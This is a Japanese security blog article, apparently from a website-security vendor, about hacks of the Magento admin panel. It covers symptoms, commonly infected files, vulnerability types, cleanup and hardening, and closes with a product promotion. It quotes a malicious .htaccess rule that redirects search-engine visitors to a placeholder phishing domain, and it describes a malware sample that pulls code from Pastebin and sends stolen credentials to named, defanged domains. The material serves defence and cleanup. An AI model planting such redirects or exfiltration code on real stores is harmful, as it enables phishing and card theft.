ネットワークセキュリティ
 Computer >> コンピューター >  >> ネットワーキング >> ネットワークセキュリティ

Magento管理パネルへのハッキング – 原因・症状・対処法を徹底解説

Magento(マジェント)は、インターネット上のEコマース成長に大きく貢献してきたプラットフォームです。無料版(コミュニティエディション)と有料版(エンタープライズエディション)の両方が提供されており、オープンソースECソフトウェア市場を牽引しています。Magento 2はリリースからかなりの期間が経過しており、セキュリティとパフォーマンスの大幅な改善が含まれています。しかし、多くのサイトでは依然として新バージョンへ移行していないため、Magento管理画面へのハッキング(Admin Hack)をはじめとする攻撃に対して無防備な状態が続いています。MagentoのCEOであるMark Lavelleもこうしたセキュリティリスクを認識しており、その危険性について言及しています。

Magento管理画面ハッキングの実例

管理パネルはMagentoストアの中でも最も重要な領域の一つであり、サイトへの高権限アクセスを可能にします。そのため、Magento管理画面ハッキングによって侵害された場合、ユーザーには助けを求める以外の選択肢がほぼ残されません。実際に、コミュニティフォーラムでは被害を受けたユーザーからのサポート依頼が数多く投稿されています。

Magento管理パネルへのハッキング – 原因・症状・対処法を徹底解説 Magento管理パネルへのハッキング – 原因・症状・対処法を徹底解説

Magento管理画面ハッキングの症状

  • 顧客からクレジットカード情報の盗難に関する苦情が寄せられる。
  • Magentoダッシュボードに見覚えのない複数の管理者アカウントが表示される。
  • 不明な複数のIPアドレスからサイトへアクセスされている。
  • Magentoストアが改ざんされている。
  • サイトのスキャンで保存済みのクレジットカード情報が検出される。
  • FTPログに不明なデバイスからの接続成功履歴がある。
  • ファイル内に悪意あるコードが注入され、管理者がフィッシングページへリダイレクトされる。
  • Magentoストアが検索エンジンのブラックリストに登録された。
  • サードパーティホスティングを利用中の場合、「アカウントが停止されました」というメッセージが表示される。
Magento管理パネルへのハッキング – 原因・症状・対処法を徹底解説

Magento管理画面ハッキング:感染しやすいファイル

a) config.php と env.php

config.phpとenv.phpはMagentoインストールにおける重要なファイルです。これらはMagento 2のデプロイ設定の一部であり、共有設定およびシステム固有の設定を格納しています。Magentoのデプロイ設定はapp/etc/config.phpapp/etc/env.phpに分かれており、これらのファイルはファイルシステムとデータベースの接続を担います。特にenv.phpにはデータベース接続情報が含まれています。さらに、env.phpは次のような用途にも使われます。

  • 暗号化キー(セキュリティキー)の定義。
  • データベーステーブルプレフィックスの指定。
  • 管理パネルのデフォルト言語の設定。

一方、app/etc/config.phpは自動生成されるファイルであり、インストール済みモジュール、テーマ、言語パッケージの一覧や共有設定を保存します。自動生成のため、Magento 2の公式リポジトリ/リリースには含まれていません。

Magento 2について

Magento 2.2以降、app/etc/config.php.gitignoreの対象から除外されました。これはソフトウェア開発の利便性向上のためです。

補足:読者からのフィードバックを受けて、本セクションはMagento DevDocs(https://devdocs.magento.com/guides/v2.3/config-guide/config/config-php.html)の内容に合わせて更新されています。

config.phpは何度もハッカーによって悪意あるコードを注入され、ユーザーの認証情報を盗むために悪用されてきました。以下は実際に発見されたマルウェアのサンプルです。

Magento管理パネルへのハッキング – 原因・症状・対処法を徹底解説

コード冒頭には「patch」と呼ばれる悪意ある関数が含まれています。この関数はファイルの内容を書き換え、外部ソース(Pastebin)から取得した悪意あるコードを注入します。影響を受けるのは決済やユーザー関連のファイルで、具体的には以下のようなものがあります。

/app/code/core/Mage/Payment/Model/Method/Cc.php
/app/code/core/Mage/Payment/Model/Method/Abstract.php
/app/code/core/Mage/Admin/Model/Session.php
/app/code/core/Mage/Admin/Model/Config.php

さらにこのマルウェアは、検知回避のためにbase64エンコードを使用しています。その他にも巧妙な隠蔽手法が用いられています。たとえば、$link_a = $link.'YTGgAnrv';というコードは、$link_a = 'hxxp://pastebin[.]com/raw/YTGgAnrv';と展開できます。盗み出した管理者ログイン情報やクレジットカード情報は、以下の2つのドメインへ送信されます。

hxxp://magento.ontools[.]net/update
hxxp://www.bgsvetlina[.]com/post.php

また、このマルウェアは「error_reporting(0);」を使用しています。これにより、本来なら感染発見の手がかりとなったはずのエラー報告が抑制されます。つまり、このマルウェアはクレジットカード窃取とMagento管理画面ハッキングの両方を実現するものだったのです。

b) index.php

index.phpはMagentoストアのランディングページとなるファイルです。そのため、攻撃者はサイト改ざんなどさまざまな攻撃に利用します。また、ランサムウェアがすべてのファイル内容を暗号化し、index.phpだけに身代金要求を残すケースもあります。さらに、システム更新時にも問題が発生することがあります。一部のWeb管理者は更新時にindexファイルをindex.php.oldのようにリネームしますが、こうしたファイルには重要な情報が含まれており、攻撃者の自動スキャナーによって後から発見される恐れがあります。

c) .htaccess

Magentoのディレクトリ単位の設定変更は.htaccessファイルを使って行えます。これにより、httpd.conf/apache.confで定義されたメイン設定をユーザーが変更できます。.htaccess内の指示は、ファイルが存在するディレクトリおよびそのすべてのサブフォルダに適用されます。また、.htaccessはサイトへのアクセス方法の制御にも役立ちます。具体的には次のような用途があります。

  • Magentoストアの特定フォルダへのアクセス遮断。
  • ストアのリダイレクト設定。
  • HTTPSの強制。
  • スクリプトインジェクション攻撃の一部緩和。
  • ボットによるユーザー名列挙のブロック。
  • 画像のホットリンク防止。
  • ストアからのファイルの強制ダウンロード。

この強力なファイルが侵害されると、攻撃者はスパム配信に悪用できます。.htaccessに悪意あるコードを注入し、ユーザーをリダイレクトさせることも可能です。以下はその一例となる悪意あるコードシグネチャです。

RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
RewriteRule .* https://PhishingDomain.tld/phish.php?t=3 [R,L]

最終行の悪意あるコードにより、サイトへのアクセスがリダイレクトされます。ユーザーはhttps://PhishingDomain.tldへ転送され、phish.phpスクリプトの読み込みを試みます。このスクリプトは正規のログイン画面そっくりに作られていることがあり、疑いを持たないユーザーは認証情報を攻撃者に渡してしまいます。これがMagento管理画面ハッキングにつながるのです。

Magento管理画面ハッキング:代表的な攻撃手法

Magentoは2018年11月28日にSUPEE-10975と題した緊急アップデートバンドルを公開しました。これには、Magentoストアの侵害につながり得る脆弱性に関する重要なセキュリティ修正が含まれています。代表的な攻撃手法は以下の通りです。

1)Magento認証へのブルートフォース攻撃

ブルートフォース攻撃では、攻撃者が正しいパスワードが見つかるまで複数のパスワードを総当たりで試行できます。PRODSECBUG-1589として知られる脆弱性がその一例で、Magento Open Source 1.9.4.0未満およびMagento Commerce 1.14.4.0未満に影響します。これを悪用すると、攻撃者はRSSノードへのリクエストを総当たり攻撃でき、一部のノードは管理者認証を必要とするため、管理者パスワードを推測される可能性があります。この脆弱性の深刻度は9と評価されており、Magento管理パネル全体が危険にさらされる恐れがあります。

2)Magentoリモートコード実行(RCE)

RCE脆弱性を悪用すると、攻撃者はMagentoストア上で未検証のコードを実行できます。Magento Community EditionおよびEnterprise Edition 2.0.6以前にはRCEバグが存在し、リモートの攻撃者がPHPオブジェクトインジェクション攻撃を行える状態でした。これにより、細工されたシリアライズ済みカートデータを通じて任意のPHPコードが実行される恐れがありました。このバグのエクスプロイトコードはすでに公開されており、Metasploitモジュールも存在します。さらに、PRODSECBUG-2159と呼ばれる別のRCE脆弱性も、Magento Open Source 1.9.4.0未満、Magento Commerce 1.14.4.0未満、Magento 2.1系2.1.16未満、Magento 2.2系2.2.7未満で確認されています。CVSSv3の深刻度スコアは8.5です。SUPEE-10975セキュリティアップデートにもRCEに関連する複数の修正が含まれており、中には動画添付時のファイルアップロードだけで悪用できる簡単なもの(PRODSECBUG-2156)もあります。

3)Magentoクロスサイトスクリプティング(XSS)

XSS脆弱性は、Magentoストアで最もよく見られる脆弱性の一つです。ODSECBUG-2053と呼ばれるXSSの欠陥は、Magento Open Source 1.9.4.0未満、Magento Commerce 1.14.4.0未満、Magento 2.1系2.1.16未満、Magento 2.2系2.2.7未満に影響します。これらのバージョンではニュースレターテンプレート経由でXSS攻撃が可能でした。XSS攻撃により、攻撃者はフィッシング用JavaScriptで管理者を騙し、ログイン資格情報を吐き出させてMagento管理画面ハッキングに至る可能性があります。

4)Magentoクロスサイトリクエストフォージェリ(CSRF)

CSRF攻撃は、ユーザーが利用中のWebアプリケーション上で意図しないリクエストを実行させられる攻撃です。ただし、攻撃者はリクエストの実行のみが可能で、応答内容を閲覧することはできないため、直接のデータ窃取は発生しない点に注意が必要です。MagentoではPRODSECBUG-2125、PRODSECBUG-2088、PRODSECBUG-2140といった複数のCSRF脆弱性が確認されています。これらを悪用されると、次のような操作を強制的に実行させられる可能性があります。

  • すべてのブロックの一括削除。
  • 権限昇格によるMagentoストアの各種顧客グループの削除。
  • Magentoストアのサイトマップの削除。

ハッキングされたMagentoサイトの清掃に専門家の助けが必要ですか?チャットウィジェットからメッセージをお送りください。喜んでサポートいたします。今すぐMagento管理画面ハッキングを解決。

5)Magento管理画面ハッキング:ファイルのクリーンアップ

まず、Magento管理パネルを保護するために、安全なパスワードへ変更しましょう。Magento 1と2のどちらでも、次のSQL文で実行できます。
update users set pass = concat('ZZZ', sha(concat(pass, md5(rand()))));

Magento 1と2の両方で、ハッキング被害を受けたファイル内の悪意あるコードを調査してください。よく感染するファイルは以下の通りです。

Index.php
.htaccess
config.php
Cron Jobs

これらのファイル内で悪意あるコードを見つけたら、コメントアウトして後から削除できるようにしましょう。また、base64エンコードされた悪意あるコードも検索してください。次のシンプルなコマンドで対応できます。

find . -name "*.php" -exec grep "base64" '{}' \; -print &> hiddencode.txt

このコードはbase64エンコードされたコードをスキャンし、hiddencode.txtに結果を保存します。検出されたコードはオンラインツールでさらなる分析を行ってください。phpMyAdminのようなツールを使えば、複数の感染ファイルを一度に効率よく検索できます。下の画像のように、phpMyAdminで悪意あるコードを検索してみてください。

Magento管理パネルへのハッキング – 原因・症状・対処法を徹底解説

Magento管理パネルのセキュリティ強化

1)アップデートとバックアップ

Magentoはセキュリティアップデートを頻繁にリリースしています。常に最新のパッチを適用するようにしてください。まだ移行していない場合はMagento 2への移行を検討しましょう。Magento 2はより安全で、パフォーマンスも向上しています。また、攻撃を受けた際に復元できるよう、Magentoストアのバックアップを必ず保管してください。

Magento管理パネルへのハッキング – 原因・症状・対処法を徹底解説

2)HTTPSの利用

顧客とMagentoストア間でやり取りされる情報を暗号化することは非常に重要です。SSL規格を利用して、顧客のオンライン取引を保護しましょう。Magento 1では、次の3つのステップで設定できます。

  1. まず管理パネル > システム > 設定 > 一般 > Web > 保護(Secure)へ移動します。
  2. Base_urlの設定を「http」から「https」へ変更します。
  3. フロントエンドと管理画面でセキュアURLの使用を有効にします。
Magento管理パネルへのハッキング – 原因・症状・対処法を徹底解説

Magento 2の場合は、下の画像のようにストア > 設定 > 設定 > Web > 一般へ移動します。

Magento管理パネルへのハッキング – 原因・症状・対処法を徹底解説

3)デフォルトの管理URLのランダム化

ログにMagento管理画面へのブルートフォース攻撃が頻繁に記録されている場合、最善の対策は管理URLをランダムな文字列に変更することです。デフォルトURLは避け、独自のURLへ変更しましょう。Magento 1では管理 > ストア > 設定 > 詳細 > 管理から変更できます。

Magento管理パネルへのハッキング – 原因・症状・対処法を徹底解説

Magento 2でも同様の手順で、ストア > 設定 > 詳細へ移動します。詳しくは下の画像をご参照ください。

Magento管理パネルへのハッキング – 原因・症状・対処法を徹底解説

4)二要素認証(2FA)の導入

二要素認証を導入すれば、Magento管理パネルに追加のセキュリティ層を持たせられます。主にGoogle Authenticatorアプリを利用する仕組みで、管理者はまずQRコードをスキャンします。すると30秒ごとに更新される6桁の乱数が生成されます。これにより、ログイン資格情報に加えて確認コードを入力しなければ、Magento管理パネルへアクセスできないようになります。ただし、この機能はMagentoに標準搭載されていないため、サードパーティ製プラグインを購入する必要があります。これらのプラグインはMagento 1とMagento 2の両方で動作します。

5)アクセス制限

管理パネルは管理者以外がアクセスすることを想定していません。そのため、特定のIPアドレスのみアクセスを許可するのが賢明です。これはMagento 1と2のどちらでも.htaccessファイルで実現できます。特定のIPアドレスのみ許可するには、次のコードを.htaccessファイルに追記してください。

order deny,allow
deny from all
allow from xxx.xxx.xxx.xxx

6)セキュリティソリューションの活用

サイトをクリーンアップして復旧した後でも、Magento管理画面ハッキングが再発することがあります。原因としては、攻撃者が残したバックドアや、未修正のまま放置された脆弱性などが考えられます。こうした事態を避けるためには、WAF(Web Application Firewall)などのセキュリティソリューションの利用を強くおすすめします。重要なのは、自分のMagentoストアに合ったファイアウォールを選ぶことです。購入前には、拡張性、使いやすさ、利用可能なリソースなど、複数の要素を検討する必要があります。Astra Website Protectionはあらゆる要件を容易に満たせるため、特におすすめです。Astraファイアウォールは高い拡張性を備えており、個人ブログから大規模ストアまで幅広く対応できます。さらに、Astraなら複雑なセキュリティ知識は不要で、シンプルなダッシュボードからすべてを管理できます。

ファイアウォールに加えて、Astraは包括的なセキュリティ監査とペネトレーションテストも提供しています。これにより、攻撃者に先駆けてMagentoストア内の脆弱性を発見するという大きな優位性が得られます。


  1. Adobe、Magentoの重大な脆弱性9件を修正 ― 数十万規模のECサイトに影響の可能性

    Adobeは今週、Magentoプラットフォームにおける複数の高危険度の脆弱性を修正しました。これらの脆弱性により、数十万に及ぶWebサイトが任意のコード実行や顧客リスト改ざん攻撃の危険にさらされる可能性がありました。 Magentoは、WordPressに次いで2番目に人気のあるCMS(コンテンツ管理システム)であり、25万以上のアクティブなECサイトで利用されています。これは全オンラインストアの約12%に相当します。また、Magento.comによると、Magentoベースのサイトでは年間1,550億ドル以上の取引が処理されているとのことです。 発見されたMagentoの脆弱性と影響を受け

  2. スマホのセキュリティ徹底解説:Android端末の脅威・感染症状・予防策

    スマートフォンの利用は日々拡大しており、それに伴ってセキュリティ上の脅威も増え続けています。毎日のように数多くのマルウェアが検出されており、その被害は深刻化する一方です。マルウェアとは、コンピューターやスマホに害を及ぼすファイルやプログラムの総称で、ウイルス、スパイウェア、トロイの木馬などが含まれます。こうした有害な脅威は、Androidデバイスに大きな被害をもたらす可能性があります。 モバイルデバイスへのマルウェア攻撃は、機密情報を盗み出すことがあります。スマートフォンはさまざまな理由から脅威にさらされやすい存在です。その一つがGoogle Playストアです。オープンなプラットフォームであ